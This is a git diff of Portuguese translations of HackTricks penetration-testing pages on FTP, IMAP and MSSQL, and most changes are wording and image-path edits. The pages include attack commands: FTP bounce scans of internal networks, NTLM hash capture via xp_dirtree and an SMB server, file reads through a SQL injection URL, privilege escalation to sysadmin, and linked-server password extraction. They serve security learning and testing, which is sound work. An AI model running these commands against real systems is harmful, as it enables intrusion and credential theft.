* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -14,7 +14,7 @@
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -34,7 +34,7 @@ PORT STATE SERVICE
|
||||||
|
|
||||||
No **FTP Ativo**, o **cliente FTP** primeiro **inicia** a **conexão de controle** de sua porta N para a porta de comando do Servidor FTP - porta 21. O **cliente** então **escuta** a porta **N+1** e envia a porta N+1 para o Servidor FTP. O Servidor FTP então **inicia** a **conexão de dados**, de **sua porta M para a porta N+1** do Cliente FTP.
|
No **FTP Ativo**, o **cliente FTP** primeiro **inicia** a **conexão de controle** de sua porta N para a porta de comando do Servidor FTP - porta 21. O **cliente** então **escuta** a porta **N+1** e envia a porta N+1 para o Servidor FTP. O Servidor FTP então **inicia** a **conexão de dados**, de **sua porta M para a porta N+1** do Cliente FTP.
|
||||||
|
|
||||||
No entanto, se o Cliente FTP tiver um firewall configurado que controle as conexões de dados de entrada de fora, então o FTP ativo pode ser um problema. E, uma solução viável para isso é o FTP Passivo.
|
No entanto, se o Cliente FTP tiver um firewall configurado que controle as conexões de dados de entrada de fora, o FTP ativo pode ser um problema. E, uma solução viável para isso é o FTP Passivo.
|
||||||
|
|
||||||
No **FTP Passivo**, o cliente inicia a conexão de controle de sua porta N para a porta 21 do Servidor FTP. Após isso, o cliente emite um **comando passv**. O servidor então envia ao cliente um de seus números de porta M. E o **cliente** **inicia** a **conexão de dados** de **sua porta P para a porta M** do Servidor FTP.
|
No **FTP Passivo**, o cliente inicia a conexão de controle de sua porta N para a porta 21 do Servidor FTP. Após isso, o cliente emite um **comando passv**. O servidor então envia ao cliente um de seus números de porta M. E o **cliente** **inicia** a **conexão de dados** de **sua porta P para a porta M** do Servidor FTP.
|
||||||
|
|
||||||
|
@ -119,7 +119,7 @@ ftp <IP>
|
||||||
```
|
```
|
||||||
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
||||||
|
|
||||||
Aqui você pode encontrar uma lista com credenciais FTP padrão: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
Aqui você pode encontrar uma lista com credenciais ftp padrão: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||||
|
|
||||||
### Automatizado
|
### Automatizado
|
||||||
|
|
||||||
|
@ -166,7 +166,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||||
|
|
||||||
## Ataque FTPBounce
|
## Ataque FTPBounce
|
||||||
|
|
||||||
Alguns servidores FTP permitem o comando PORT. Este comando pode ser usado para indicar ao servidor que você deseja se conectar a outro servidor FTP em alguma porta. Então, você pode usar isso para escanear quais portas de um host estão abertas através de um servidor FTP.
|
Alguns servidores FTP permitem o comando PORT. Este comando pode ser usado para indicar ao servidor que você deseja se conectar a outro servidor FTP em alguma porta. Em seguida, você pode usar isso para escanear quais portas de um host estão abertas através de um servidor FTP.
|
||||||
|
|
||||||
[**Aprenda aqui como abusar de um servidor FTP para escanear portas.**](ftp-bounce-attack.md)
|
[**Aprenda aqui como abusar de um servidor FTP para escanear portas.**](ftp-bounce-attack.md)
|
||||||
|
|
||||||
|
@ -178,7 +178,7 @@ A teoria é simples:
|
||||||
3. **Use `PORT` para se conectar ao servidor e serviço arbitrários**
|
3. **Use `PORT` para se conectar ao servidor e serviço arbitrários**
|
||||||
4. **Use `RETR` para enviar a solicitação salva para o servidor.**
|
4. **Use `RETR` para enviar a solicitação salva para o servidor.**
|
||||||
|
|
||||||
É altamente provável que isso **gere um erro como** _**Socket não gravável**_ **porque a conexão não dura o suficiente para enviar os dados com `RETR`**. Sugestões para tentar evitar isso são:
|
É altamente provável que isso **resulte em um erro como** _**Socket not writable**_ **porque a conexão não dura o suficiente para enviar os dados com `RETR`**. Sugestões para tentar evitar isso são:
|
||||||
|
|
||||||
* Se estiver enviando uma solicitação HTTP, **coloque a mesma solicitação uma após a outra** até **\~0.5MB** pelo menos. Assim:
|
* Se estiver enviando uma solicitação HTTP, **coloque a mesma solicitação uma após a outra** até **\~0.5MB** pelo menos. Assim:
|
||||||
|
|
||||||
|
@ -206,26 +206,26 @@ vsftpd.conf
|
||||||
|
|
||||||
A configuração padrão do vsFTPd pode ser encontrada em `/etc/vsftpd.conf`. Aqui, você pode encontrar algumas configurações perigosas:
|
A configuração padrão do vsFTPd pode ser encontrada em `/etc/vsftpd.conf`. Aqui, você pode encontrar algumas configurações perigosas:
|
||||||
|
|
||||||
* `anonymous_enable=YES`
|
- `anonymous_enable=YES`
|
||||||
* `anon_upload_enable=YES`
|
- `anon_upload_enable=YES`
|
||||||
* `anon_mkdir_write_enable=YES`
|
- `anon_mkdir_write_enable=YES`
|
||||||
* `anon_root=/home/username/ftp` - Diretório para anônimos.
|
- `anon_root=/home/username/ftp` - Diretório para anônimos.
|
||||||
* `chown_uploads=YES` - Alterar a propriedade dos arquivos enviados anonimamente
|
- `chown_uploads=YES` - Alterar a propriedade dos arquivos enviados anonimamente
|
||||||
* `chown_username=username` - Usuário que recebe a propriedade dos arquivos enviados anonimamente
|
- `chown_username=username` - Usuário que recebe a propriedade dos arquivos enviados anonimamente
|
||||||
* `local_enable=YES` - Permitir que usuários locais façam login
|
- `local_enable=YES` - Permitir que usuários locais façam login
|
||||||
* `no_anon_password=YES` - Não solicitar senha para anônimos
|
- `no_anon_password=YES` - Não solicitar senha para anônimos
|
||||||
* `write_enable=YES` - Permitir comandos: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE e SITE
|
- `write_enable=YES` - Permitir comandos: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE e SITE
|
||||||
|
|
||||||
### Shodan
|
### Shodan
|
||||||
|
|
||||||
* `ftp`
|
- `ftp`
|
||||||
* `port:21`
|
- `port:21`
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
@ -14,7 +14,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -50,9 +50,9 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
||||||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||||
```
|
```
|
||||||
**Try Hard Security Group**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -67,6 +67,6 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -24,7 +24,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
## Protocolo de Acesso a Mensagens da Internet
|
## Protocolo de Acesso a Mensagens da Internet
|
||||||
|
|
||||||
O **Protocolo de Acesso a Mensagens da Internet (IMAP)** é projetado com o propósito de permitir aos usuários **acessar suas mensagens de e-mail de qualquer local**, principalmente através de uma conexão com a Internet. Em essência, os e-mails são **mantidos em um servidor** em vez de serem baixados e armazenados no dispositivo pessoal de um indivíduo. Isso significa que quando um e-mail é acessado ou lido, é feito **diretamente do servidor**. Essa capacidade permite a conveniência de verificar e-mails em **múltiplos dispositivos**, garantindo que nenhuma mensagem seja perdida, independentemente do dispositivo usado.
|
O **Protocolo de Acesso a Mensagens da Internet (IMAP)** é projetado com o objetivo de permitir que os usuários **acessam suas mensagens de e-mail de qualquer local**, principalmente através de uma conexão com a Internet. Em essência, os e-mails são **mantidos em um servidor** em vez de serem baixados e armazenados no dispositivo pessoal de um indivíduo. Isso significa que quando um e-mail é acessado ou lido, é feito **diretamente do servidor**. Essa capacidade permite a conveniência de verificar e-mails em **múltiplos dispositivos**, garantindo que nenhuma mensagem seja perdida, independentemente do dispositivo usado.
|
||||||
|
|
||||||
Por padrão, o protocolo IMAP funciona em duas portas:
|
Por padrão, o protocolo IMAP funciona em duas portas:
|
||||||
|
|
||||||
|
@ -107,17 +107,15 @@ A1 LOGOUT
|
||||||
```
|
```
|
||||||
apt install evolution
|
apt install evolution
|
||||||
```
|
```
|
||||||
![](<../.gitbook/assets/image (528).png>)
|
|
||||||
|
|
||||||
### CURL
|
### CURL
|
||||||
|
|
||||||
A navegação básica é possível com [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mas a documentação é escassa em detalhes, então é recomendado verificar a [fonte](https://github.com/curl/curl/blob/master/lib/imap.c) para obter detalhes precisos.
|
A navegação básica é possível com o [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mas a documentação é escassa em detalhes, então é recomendado verificar a [fonte](https://github.com/curl/curl/blob/master/lib/imap.c) para obter detalhes precisos.
|
||||||
|
|
||||||
1. Listando caixas de correio (comando imap `LIST "" "*")
|
1. Listando caixas de correio (comando imap `LIST "" "*")
|
||||||
```bash
|
```bash
|
||||||
curl -k 'imaps://1.2.3.4/' --user user:pass
|
curl -k 'imaps://1.2.3.4/' --user user:pass
|
||||||
```
|
```
|
||||||
2. Listando mensagens em uma caixa de correio (comando imap `SELECT INBOX` e depois `SEARCH ALL`)
|
2. Listando mensagens em uma caixa de correio (comando IMAP `SELECT INBOX` e depois `SEARCH ALL`)
|
||||||
```bash
|
```bash
|
||||||
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
||||||
```
|
```
|
||||||
|
@ -129,7 +127,7 @@ curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||||
```
|
```
|
||||||
Uma boa visão geral dos termos de pesquisa possíveis está localizada [aqui](https://www.atmail.com/blog/imap-commands/).
|
Uma boa visão geral dos termos de pesquisa possíveis está localizada [aqui](https://www.atmail.com/blog/imap-commands/).
|
||||||
|
|
||||||
3. Baixando uma mensagem (comando imap `SELECT Drafts` e depois `FETCH 1 BODY[]`)
|
3. Baixando uma mensagem (comando imap `SELECT Rascunhos` e então `FETCH 1 BODY[]`)
|
||||||
```bash
|
```bash
|
||||||
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
|
||||||
```
|
```
|
||||||
|
@ -156,9 +154,9 @@ done
|
||||||
* `port:143 CAPABILITY`
|
* `port:143 CAPABILITY`
|
||||||
* `port:993 CAPABILITY`
|
* `port:993 CAPABILITY`
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -198,7 +196,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
|
|
@ -7,7 +7,7 @@
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -235,7 +235,7 @@ sudo impacket-smbserver share ./ -smb2support
|
||||||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Você pode verificar se alguém (além dos sysadmins) tem permissão para executar essas funções MSSQL com:
|
Você pode verificar se quem (além dos sysadmins) tem permissão para executar essas funções MSSQL com:
|
||||||
```sql
|
```sql
|
||||||
Use master;
|
Use master;
|
||||||
EXEC sp_helprotect 'xp_dirtree';
|
EXEC sp_helprotect 'xp_dirtree';
|
||||||
|
@ -261,7 +261,7 @@ Você pode ver como usar essas ferramentas em:
|
||||||
|
|
||||||
### **Escrever Arquivos**
|
### **Escrever Arquivos**
|
||||||
|
|
||||||
Para escrever arquivos usando `MSSQL`, nós **precisamos habilitar** [**Procedimentos de Automação Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), que requer privilégios de administrador, e então executar alguns procedimentos armazenados para criar o arquivo:
|
Para escrever arquivos usando `MSSQL`, nós **precisamos habilitar** [**Procedimentos de Automação Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), o que requer privilégios de administrador, e então executar alguns procedimentos armazenados para criar o arquivo:
|
||||||
```bash
|
```bash
|
||||||
# Enable Ole Automation Procedures
|
# Enable Ole Automation Procedures
|
||||||
sp_configure 'show advanced options', 1
|
sp_configure 'show advanced options', 1
|
||||||
|
@ -296,7 +296,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
|
||||||
```
|
```
|
||||||
### **RCE/Leitura de arquivos executando scripts (Python e R)**
|
### **RCE/Leitura de arquivos executando scripts (Python e R)**
|
||||||
|
|
||||||
O MSSQL pode permitir que você execute **scripts em Python e/ou R**. Esse código será executado por um **usuário diferente** daquele que está usando **xp\_cmdshell** para executar comandos.
|
O MSSQL pode permitir que você execute **scripts em Python e/ou R**. Esse código será executado por um **usuário diferente** do que está usando **xp\_cmdshell** para executar comandos.
|
||||||
|
|
||||||
Exemplo tentando executar um **'R'** _"Olá Mundo!"_ **que não funciona**:
|
Exemplo tentando executar um **'R'** _"Olá Mundo!"_ **que não funciona**:
|
||||||
|
|
||||||
|
@ -318,9 +318,9 @@ GO
|
||||||
```
|
```
|
||||||
### Ler Registro
|
### Ler Registro
|
||||||
|
|
||||||
O Microsoft SQL Server fornece **várias stored procedures estendidas** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
O Microsoft SQL Server fornece **múltiplos procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
|
||||||
|
|
||||||
| **Regular** | **Instance-Aware** |
|
| **Regular** | **Com Consciência de Instância** |
|
||||||
| ---------------------------- | -------------------------------------- |
|
| ---------------------------- | -------------------------------------- |
|
||||||
| sys.xp\_regread | sys.xp\_instance\_regread |
|
| sys.xp\_regread | sys.xp\_instance\_regread |
|
||||||
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
||||||
|
@ -347,18 +347,17 @@ Para **mais exemplos**, confira a [**fonte original**](https://blog.waynesheffie
|
||||||
|
|
||||||
É possível **carregar um arquivo .NET dentro do MSSQL com funções personalizadas**. No entanto, isso **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou com uma função de Administrador**.
|
É possível **carregar um arquivo .NET dentro do MSSQL com funções personalizadas**. No entanto, isso **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou com uma função de Administrador**.
|
||||||
|
|
||||||
[Siga este link](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver um exemplo.
|
[Clique neste link](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver um exemplo.
|
||||||
|
|
||||||
### Outras maneiras de obter RCE
|
### Outras formas de RCE
|
||||||
|
|
||||||
Existem outros métodos para obter execução de comandos, como adicionar [procedimentos armazenados estendidos](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblies CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Jobs do SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) e [scripts externos](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
Existem outros métodos para obter execução de comandos, como adicionar [procedimentos armazenados estendidos](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblies CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Trabalhos do SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) e [scripts externos](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||||
|
|
||||||
|
## Escalação de Privilégios MSSQL
|
||||||
## Escalonamento de Privilégios MSSQL
|
|
||||||
|
|
||||||
### De db\_owner para sysadmin
|
### De db\_owner para sysadmin
|
||||||
|
|
||||||
Se um **usuário regular** recebe a função **`db_owner`** sobre o **banco de dados de propriedade de um usuário admin** (como **`sa`**) e esse banco de dados está configurado como **`trustworthy`**, esse usuário pode abusar desses privilégios para **escalada de privilégios** porque **procedimentos armazenados** criados lá podem **executar** como o proprietário (**admin**).
|
Se um **usuário regular** recebe a função **`db_owner`** sobre o **banco de dados de propriedade de um administrador** (como **`sa`**) e esse banco de dados está configurado como **`trustworthy`**, esse usuário pode abusar desses privilégios para **escalação de privilégios** porque **procedimentos armazenados** criados lá podem **executar** como o proprietário (**administrador**).
|
||||||
```sql
|
```sql
|
||||||
# Get owners of databases
|
# Get owners of databases
|
||||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||||
|
@ -447,12 +446,12 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||||
|
|
||||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||||
|
|
||||||
## Extraindo senhas dos Servidores Vinculados do SQL Server
|
## Extraindo senhas de Servidores Vinculados do SQL Server
|
||||||
Um atacante pode extrair senhas dos Servidores Vinculados do SQL Server das Instâncias SQL e obtê-las em texto claro, concedendo ao atacante senhas que podem ser usadas para obter uma posição mais forte no alvo.
|
Um atacante pode extrair senhas de Servidores Vinculados do SQL Server das Instâncias SQL e obtê-las em texto claro, concedendo ao atacante senhas que podem ser usadas para obter uma posição mais forte no alvo.
|
||||||
O script para extrair e descriptografar as senhas armazenadas para os Servidores Vinculados pode ser encontrado [aqui](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
O script para extrair e descriptografar as senhas armazenadas para os Servidores Vinculados pode ser encontrado [aqui](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||||
|
|
||||||
Alguns requisitos e configurações devem ser feitos para que essa exploração funcione.
|
Alguros requisitos e configurações devem ser feitos para que esse exploit funcione.
|
||||||
Primeiramente, você deve ter direitos de Administrador na máquina ou a capacidade de gerenciar as Configurações do SQL Server.
|
Primeiramente, você deve ter direitos de Administrador na máquina, ou a capacidade de gerenciar as Configurações do SQL Server.
|
||||||
|
|
||||||
Após validar suas permissões, você precisa configurar três coisas, que são as seguintes:
|
Após validar suas permissões, você precisa configurar três coisas, que são as seguintes:
|
||||||
1. Habilitar o TCP/IP nas instâncias do SQL Server;
|
1. Habilitar o TCP/IP nas instâncias do SQL Server;
|
||||||
|
@ -465,7 +464,7 @@ Além de ter um script em PowerShell para cada etapa da configuração, o reposi
|
||||||
Para mais informações, consulte os seguintes links sobre esse ataque:
|
